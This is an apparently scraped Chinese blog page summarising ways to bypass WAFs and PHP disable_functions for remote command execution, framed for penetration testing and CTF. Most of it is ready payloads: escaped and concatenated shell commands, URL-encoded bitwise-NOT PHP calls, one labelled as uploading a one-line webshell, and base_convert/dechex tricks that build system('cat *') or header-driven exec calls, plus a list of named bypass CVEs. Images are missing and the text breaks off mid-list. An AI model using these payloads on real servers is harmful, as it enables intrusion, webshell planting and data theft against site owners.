命令执行绕过WAF总结,RCE常见的Bypass思路

您所在的位置:网站首页 php 命令执行 命令执行绕过WAF总结,RCE常见的Bypass思路

命令执行绕过WAF总结,RCE常见的Bypass思路

2023-11-11 15:16| 来源: 网络整理| 查看: 265

前言

在渗透或者CTF中,总会有特殊函数被过滤,如'ls、cat、tac'。防火墙将这些函数加入黑名单,我们需要找一些方法来代替,用fuzz给他们替换,就出现了BYpass思路。这里总结了RCE常见的Bypass思路。

学习就是先走一回别人的老路,知识点到量才可以开创自己的新路。

RCE漏洞

远程代码执行漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。

原理:服务器没有对执行命令的函数进行过滤,导致命令被执行。

常见的命令执行函数PHP代码执行函数eval() assert() preg_replace() create_function() call_user_func() file_get_contents():将整个文件读入一个字符串 readfile():读取文件并写入到输出缓冲 scandir():列出指定路径中的文件和目录 direname():给出一个包含有指向一个文件的全路径的字符串,本函数返回去掉文件名后的目录名 getcwd():取得当前工作目录 chdir($directory):将 PHP 的当前目录改为 directory get_defined_vars():获取一个环境变量的值 phpversion():获取当前的PHP版本 chr():返回指定的字符 rand():产生一个随机整数 time():返回当前的 Unix 时间戳 localtime():取得本地时间 localtime(time()) 返回一个数组,Array [0] 为一个 0~60 之间的数字 hex2bin():转换十六进制字符串为二进制字符串 ceil():进一法取整 sinh():双曲正弦 cosh():双曲余弦 tan():正切 floor():舍去法取整 sqrt():平方根 crypt():单向字符串散列hebrevc:将逻辑顺序希伯来文(logical-Hebrew)转换为视觉顺序希伯来文(visual-Hebrew),并且转换换行符 ord:返回字符串的第一个字符的 ASCII 码 命令执行函数eval()、system()、shell_exec()、popen()、proc_popen()、passthru()、pcntl_exec() 绕过方式过滤关键字,如cat、more

1.替换法使用同意思字符串代替

more:一页一页的显示档案内容 less:与 more 类似 head:查看头几行 tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示 tail:查看尾几行 nl:显示的时候,顺便输出行号 sort:可以查看

2.进行转义

cat flag ->ca\t fl\ag cat flag -> ca"t flag cat flag -> ca't flag

3.进行拼接

a=fl;b=ag;cat$IFS$a$b

4.空变量$*和$@,$x,${x}绕过xEqw1.png5.反引号绕过

`command`

6.Base64编码绕过xEBnI.png7.RE绕过xETDD.png

过滤命令执行函数,如system

1.借助其他的函数

echo system() passthru() exec() shell_exec() popen() proc_open() pcntl_exec() highlight_file() 反引号 同shell_exec()

2.URL编码绕过

base64 hex oct

xEU8F.png

3.内敛绕过

echo `ls`; echo $(ls); ?> ?code=(~%8F%97%8F%96%91%99%90)(); //列出phpinfo ?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9C%92%9B%A2%D6%D6); //上传一句话马 disable_function绕过总结常规绕过:exec,shell_exec,system,passthru,popen,proc_open 利用环境变量LD_PRELOAD绕过(★):mail,imap_mail,error_log,mb_send_mail 利用pcntl_exec绕过利用imap_open函数任意命令执行(CVE-2018-19518) 利用系统组件window com绕过利用Apache+mod_cgi+.htaccess绕过 利用ImageMagick漏洞绕过利用PHP7.4的FFI绕过 利用 ShellShock绕过(CVE-2014-6271) 蚁剑插件 '数学'RCE

1.利用数学函数来运算得到函数名和命令,使用动态函数来执行命令

index.php?c=base_convert('37907361743',10,36)dechex('1598506324');($$pi){pi}(($$pi){abs})&pi=system&abs= hex2bin(_GET) -> base_convert('37907361743',10,36)dechex('1598506324'); dechex("1598506324")->5f474554 ($$pi){pi}(($$pi){abs})&pi=system&abs= -> ($_GET){pi}($_GET){abs} //{}可以代替[]

2.拼凑出getallheaders利用HeaderRCEgetallheaders — 获取全部 HTTP 请求头信息

/index.php?c=$pi=base_convert,$pi(696468,10,36)($pi(8768397090111664438,10,30)(){1})

在HTTP请求的Header中直接添加命令即可

base_convert(696468,10,36) => "exec" $pi(8768397090111664438,10,30) => "getallheaders" exec(getallheaders(){1}) //操作xx和yy,中间用逗号隔开,echo都能输出 echo xx,yy

3.拼凑出exec、system等命令执行函数直接RCE

/index.php?c=($pi=base_convert)(22950,23,34)($pi(76478043844,9,34)(dechex(109270211257898))) //分析:exec('hex2bin(dechex(109270211257898))') => exec('cat f*') /index.php?c=base_convert(1751504350,10,36)(base_convert(15941,10,36).(dechex(16)^asinh^pi)) //分析:system('cat'.dechex(16)^asinh^pi) => system('cat *')

4.异或



【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3